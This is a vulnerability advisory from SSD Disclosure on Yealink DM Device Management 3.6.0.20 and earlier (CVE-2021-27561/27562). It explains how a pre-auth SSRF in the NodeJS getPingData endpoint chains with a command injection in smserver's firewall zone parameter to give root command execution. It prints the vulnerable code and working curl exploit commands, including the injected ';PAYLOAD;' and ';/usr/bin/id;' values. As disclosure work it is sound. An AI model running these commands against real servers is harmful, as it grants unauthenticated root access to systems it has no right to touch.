# SSD Advisory - Yealink DM Pre Auth 'root' level RCE
February 23, 2021 [SSD Disclosure / Noam Rathaus](https://ssd-
disclosure.com/author/noamr/ "Posts by SSD Disclosure / Noam Rathaus")
[Uncategorized](https://ssd-disclosure.com/category/uncategorized/)
**TL;DR**
Find out how multiple vulnerabilities in Yealink DM (Device Management) allow
an unauthenticated attacker to run arbitrary commands on the server with root
privileges.
**Vulnerability Summary**
[Yealink DM](https://www.yealink.com/products_108.html) (Device Management)
platform - "offers a comprehensive management solution with key features
Unified Deployment and Management, Real-Time Monitoring and Alarm, Remote
Troubleshooting.
Several vulnerabilities in the Yealink DM server allow remote unauthenticated
attackers to cause the server to execute arbitrary commands due to the fact
that user provided data is not properly filtered.
**CVE**
CVE-2021-27561 and CVE-2021-27562
****Credit****
Two independent security researchers, Pierre Kim and Alexandre Torres, have
reported this vulnerability to the SSD Secure Disclosure program.
**Affected Versions**
Yealink DM version 3.6.0.20 and prior
**Vendor Response**
"For the YDMP new version release, we don't send a notification to the public,
since we don't force the customer to upgrade.
We will release a new version and upload the installation file to the official
Yealink website and update the release note as well.
The update will be ready to download from our website in early 2021″
**Vulnerability Analysis**
By chaining a pre-auth SSRF vulnerability and a command injection
vulnerability, it is possible to execute commands as root without
authentication against this product, by sending a simple HTTPS request to the
remote target.
**Nginx configuration**
By default, Nginx listens on port 443/tcp to provide TLS connectivity:
```
# netstat -nlapute|grep 443 tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 0 16290 1180/nginx: master
```
By analysing the configuration of Nginx, it appears Nginx acts as a reverse
proxy and the traffic to / is sent to 127.0.0.1:9880/tcp:
```
# cat /usr/local/yealink/nginx/conf/http.conf.d/yealink.conf
[...]
upstream server_frontend_manager {
server manager-master:9880 weight=1 max_fails=5 fail_timeout=10s;
}
[...]
location / {
proxy_pass https://server_frontend_manager;
}
```
be used to send a specific request to a vulnerable NodeJS
application.
**NodeJS acting as a relay**
The NodeJS dmweb application is running as _yealink_ on 127.0.0.1:9880/tcp:
```
# netstat -lapute | grep 9880
tcp 0 0 0.0.0.0:9880 0.0.0.0:* LISTEN yealink 21200 2789/node
# ps -auxww | grep 2789
yealink 2789 0.4 0.3 1306416 53172 ? Ssl 05:31 0:02 /usr/local/yealink/nodejs/bin/node /usr/local/yealink/dmweb/app.js
```
The _/usr/local/yealink/dmweb/app.js_ program is running on the loopback
interface but is reachable from Nginx.
**Analysis of _/usr/local/yealink/dmweb/app.js_**
This application is a nodejs application with some dependencies. The
interesting code is located in _/usr/local/yealink/dmweb/api/index.js_
```
17 module.exports = app => {
18 app.use('/premise', router);
19 };
[...]
217 router.get('/front/getPingData', (req, res) => {
218 // res.send({"ret":1,"data":"PING www.baidu.com (14.215.177.38): 56 data bytes\n64 bytes from 14.215.177.38: seq=0 ttl=54 time=15.084 ms\n64 bytes from 14.215.177.38: seq=1 ttl=54 time=15.888 ms\n64 bytes from 14.215.177.38: seq=2 ttl=54 time=15.742 ms\n64 bytes from 14.215.177.38: seq=3 ttl=54 time=15.622 ms\n64 bytes from 14.215.177.38: seq=4 ttl=54 time=16.384 ms\n\n--- www.baidu.com ping statistics ---\n5 packets transmitted, 5 packets received, 0% packet loss\nround-trip min/avg/max = 15.084/15.744/16.384 ms\n","error":null})
219 // return;
220 try {
221 let url = req.query.url;
222 // ��telnet�����pos���ping�trace����������端�����pos��以�并�pos传��
223 let pos = req.query.pos;
224 console.log(`url===${url}`);
225 let headers = {
226 'Content-Type': 'application/json',
227 'User-Agent': req.headers['user-agent'],
228 'x-forwarded-for': commom.getClientIP(req),
229 token: req.session.token
230 };
231 request.get({
232 url: url,
233 headers: headers,
234 timeout: 60000,
235 qs: {
236 pos: pos
237 }
238 }).pipe(res);
239 } catch (e) {
240 console.error(e);
241 res.send(
242 errcode.MakeResult(
243 errcode.ERR,
244 e,
245 errcode.INTERNAL_ERROR,
246 'server.common.internal.error'
247 )
248 );
249 }
250 });
```
One line 17, there is a route defined for _/premise_ , allowing to reach
additional APIs.
On line 217, there is a definition for the API _/premise/front/getPingData_.
This function is vulnerable to SSRF:From line 217, it appears it is possible
to send a HTTP request by defining an URL in GET (on line 232 from the value
defined on line 221 from _req.query.url_ ) with specific headers (line 233,
from value provided on line 227) and a new HTTP/HTTPS request will then be
sent to the remote attacker-controlled URL.
PoC is:
```
curl -v --insecure "https://[target]/premise/front/getPingData?url=http://url/"
```
This is a basic pre-authenticated SSRF vulnerability allowing to reach
internal daemons.
**_smserver_ daemon running as root on 0.0.0.0:9600/tcp**
By default, the program _smserver_ runs as root on 0.0.0.0:9600/tcp but
firewall rules don't allow external connections to this daemon.
```
# netstat -laputen|grep 9600
tcp 0 0 0.0.0.0:9600 0.0.0.0:* LISTEN 0 19775 1244/smserver
# ps -auxww|grep smserver
root 1244 1.6 0.2 1166932 34160 ? SNl 05:28 0:26 /usr/local/yealink/smserver/bin/smserver -nc -run /var/run/yealink/smserver
```
_smserver_ is a HTTP server. The previously found SSRF provided by the NodeJS
server will provide a relay to send requests to the _smserver_ as shown below:
```
kali$ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/"
{"reason":{"module":"SmServer", "cause":404, "text":"URL NOT FOUND"}}
```
By reversing this binary, we found a command injection in the
_fw_restful_service_get()_ function located in the module
_/usr/local/yealink/smserver/mod/mod_firewall.so_ :
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1614147837721-w331s)
In the function _fw_restful_service_get()_ , the value for the GET variable
_zone_ is retrieved by the function _fw_restful_get_arg_by_key()_ on line 16,
then there is a construction of arguments on line 22 using _snprintf(3)_.
Finally there is a call to _fw_do_cmd()_ with the crafted command on line 27.
The _fw_do_cmd()_ is just a wrapper to _popen(3)_.
To reach this API, we need to send this HTTP request:
```
https://127.0.0.1:9600/sm/api/v1/firewall/zone/services?zone=;PAYLOAD;
```
The resulting command running as root will be:
```
# firewall-cmd --zone=;PAYLOAD; --list-services
```
**Construction of the final exploit**
The final path of exploitation is:
Nginx -> NodeJS -> smserver
By combining the SSRF and the injection, the final exploit is:
```
kali $ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;PAYLOAD;"
```
*;PAYLOAD;* will be executed as root without authentication on the target.
Example with */usr/bin/id*:
```
kali $ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"
{"list":["uid=0(root)","gid=0(root)","groups=0(root)","context=system_u:system_r:unconfined_service_t:s0"]}
```
The command was executed as root on the appliance without authentication.
**Demo**
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1614147841961-w331s)
暂无评论